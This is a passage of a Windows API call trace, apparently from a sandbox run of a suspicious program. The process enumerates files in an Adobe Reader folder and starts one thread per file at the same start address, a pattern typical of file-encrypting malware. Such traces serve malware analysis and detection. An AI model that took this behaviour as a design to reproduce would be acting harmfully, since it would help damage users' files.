RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ac688 [0067.049] wcscpy (in: _Dest=0x97ac688, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.049] wcscat (in: _Dest=0x97ac688, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.049] wcscat (in: _Dest=0x97ac688, _Source="end_review.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif" [0067.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0067.050] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_distributed.gif", cAlternateFileName="FORMS_~1.GIF")) returned 1 [0067.050] wcscmp (_String1="forms_distributed.gif", _String2=".") returned 1 [0067.050] wcscmp (_String1="forms_distributed.gif", _String2="..") returned 1 [0067.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x12cfc910 [0067.050] wcscpy (in: _Dest=0x12cfc910, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.050] wcscat (in: _Dest=0x12cfc910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.050] wcscat (in: _Dest=0x12cfc910, _Source="forms_distributed.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif" [0067.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfc910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0067.052] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_received.gif", cAlternateFileName="FORMS_~3.GIF")) returned 1 [0067.052] wcscmp (_String1="forms_received.gif", _String2=".") returned 1 [0067.052] wcscmp (_String1="forms_received.gif", _String2="..") returned 1 [0067.052] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x96e78b8 [0067.052] wcscpy (in: _Dest=0x96e78b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.052] wcscat (in: _Dest=0x96e78b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.052] wcscat (in: _Dest=0x96e78b8, _Source="forms_received.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif" [0067.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96e78b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc [0067.053] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_super.gif", cAlternateFileName="FORMS_~2.GIF")) returned 1 [0067.053] wcscmp (_String1="forms_super.gif", _String2=".") returned 1 [0067.053] wcscmp (_String1="forms_super.gif", _String2="..") returned 1 [0067.053] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97ac720 [0067.053] wcscpy (in: _Dest=0x97ac720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.053] wcscat (in: _Dest=0x97ac720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.053] wcscat (in: _Dest=0x97ac720, _Source="forms_super.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif" [0067.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0067.055] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_responses.gif", cAlternateFileName="FORM_R~1.GIF")) returned 1 [0067.055] wcscmp (_String1="form_responses.gif", _String2=".") returned 1 [0067.055] wcscmp (_String1="form_responses.gif", _String2="..") returned 1 [0067.055] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x96e7958 [0067.055] wcscpy (in: _Dest=0x96e7958, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.055] wcscat (in: _Dest=0x96e7958, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.055] wcscat (in: _Dest=0x96e7958, _Source="form_responses.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif" [0067.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96e7958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0067.056] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.gif", cAlternateFileName="")) returned 1 [0067.056] wcscmp (_String1="info.gif", _String2=".") returned 1 [0067.056] wcscmp (_String1="info.gif", _String2="..") returned 1 [0067.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417860 [0067.056] wcscpy (in: _Dest=0x417860, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.056] wcscat (in: _Dest=0x417860, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.056] wcscat (in: _Dest=0x417860, _Source="info.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif" [0067.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0 [0067.057] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0067.057] wcscmp (_String1="main.css", _String2=".") returned 1 [0067.057] wcscmp (_String1="main.css", _String2="..") returned 1 [0067.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417ce0 [0067.057] wcscpy (in: _Dest=0x417ce0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.057] wcscat (in: _Dest=0x417ce0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.057] wcscat (in: _Dest=0x417ce0, _Source="main.css" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" [0067.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc [0067.059] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="open_original_form.gif", cAlternateFileName="OPEN_O~1.GIF")) returned 1 [0067.059] wcscmp (_String1="open_original_form.gif", _String2=".") returned 1 [0067.059] wcscmp (_String1="open_original_form.gif", _String2="..") returned 1 [0067.059] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x12cfc9b8 [0067.059] wcscpy (in: _Dest=0x12cfc9b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.059] wcscat (in: _Dest=0x12cfc9b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.059] wcscat (in: _Dest=0x12cfc9b8, _Source="open_original_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif" [0067.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfc9b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10 [0067.060] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdf.gif", cAlternateFileName="")) returned 1 [0067.060] wcscmp (_String1="pdf.gif", _String2=".") returned 1 [0067.060] wcscmp (_String1="pdf.gif", _String2="..") returned 1 [0067.060] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x198058c0 [0067.060] wcscpy (in: _Dest=0x198058c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.060] wcscat (in: _Dest=0x198058c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.060] wcscat (in: _Dest=0x198058c0, _Source="pdf.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif" [0067.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x198058c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890 [0067.061] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviewers.gif", cAlternateFileName="REVIEW~4.GIF")) returned 1 [0067.061] wcscmp (_String1="reviewers.gif", _String2=".") returned 1 [0067.061] wcscmp (_String1="reviewers.gif", _String2="..") returned 1 [0067.061] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97ac7b8 [0067.061] wcscpy (in: _Dest=0x97ac7b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.061] wcscat (in: _Dest=0x97ac7b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.061] wcscat (in: _Dest=0x97ac7b8, _Source="reviewers.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" [0067.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac7b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c [0067.063] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_joined.gif", cAlternateFileName="RE99D5~1.GIF")) returned 1 [0067.063] wcscmp (_String1="reviews_joined.gif", _String2=".") returned 1 [0067.063] wcscmp (_String1="reviews_joined.gif", _String2="..") returned 1 [0067.063] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x96e79f8 [0067.063] wcscpy (in: _Dest=0x96e79f8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.063] wcscat (in: _Dest=0x96e79f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.063] wcscat (in: _Dest=0x96e79f8, _Source="reviews_joined.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" [0067.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96e79f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14 [0067.070] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_sent.gif", cAlternateFileName="RECDE7~1.GIF")) returned 1 [0067.070] wcscmp (_String1="reviews_sent.gif", _String2=".") returned 1 [0067.070] wcscmp (_String1="reviews_sent.gif", _String2="..") returned 1 [0067.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x96e7a98 [0067.070] wcscpy (in: _Dest=0x96e7a98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.070] wcscat (in: _Dest=0x96e7a98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.070] wcscat (in: _Dest=0x96e7a98, _Source="reviews_sent.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif" [0067.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96e7a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc8 [0067.071] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_super.gif", cAlternateFileName="RE1558~1.GIF")) returned 1 [0067.071] wcscmp (_String1="reviews_super.gif", _String2=".") returned 1 [0067.072] wcscmp (_String1="reviews_super.gif", _String2="..") returned 1 [0067.072] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x96e7b38 [0067.072] wcscpy (in: _Dest=0x96e7b38, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.072] wcscat (in: _Dest=0x96e7b38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.072] wcscat (in: _Dest=0x96e7b38, _Source="reviews_super.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" [0067.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96e7b38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880 [0067.073] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_browser.gif", cAlternateFileName="REVIEW~3.GIF")) returned 1 [0067.073] wcscmp (_String1="review_browser.gif", _String2=".") returned 1 [0067.073] wcscmp (_String1="review_browser.gif", _String2="..") returned 1 [0067.073] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x96e7bd8 [0067.073] wcscpy (in: _Dest=0x96e7bd8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.073] wcscat (in: _Dest=0x96e7bd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.073] wcscat (in: _Dest=0x96e7bd8, _Source="review_browser.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif" [0067.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96e7bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0067.074] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_email.gif", cAlternateFileName="REVIEW~2.GIF")) returned 1 [0067.074] wcscmp (_String1="review_email.gif", _String2=".") returned 1 [0067.074] wcscmp (_String1="review_email.gif", _String2="..") returned 1 [0067.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x96e7c78 [0067.074] wcscpy (in: _Dest=0x96e7c78, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.074] wcscat (in: _Dest=0x96e7c78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.074] wcscat (in: _Dest=0x96e7c78, _Source="review_email.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif" [0067.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96e7c78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc4 [0067.075] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_same_reviewers.gif", cAlternateFileName="RE78D9~1.GIF")) returned 1 [0067.075] wcscmp (_String1="review_same_reviewers.gif", _String2=".") returned 1 [0067.075] wcscmp (_String1="review_same_reviewers.gif", _String2="..") returned 1 [0067.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x444720 [0067.076] wcscpy (in: _Dest=0x444720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files 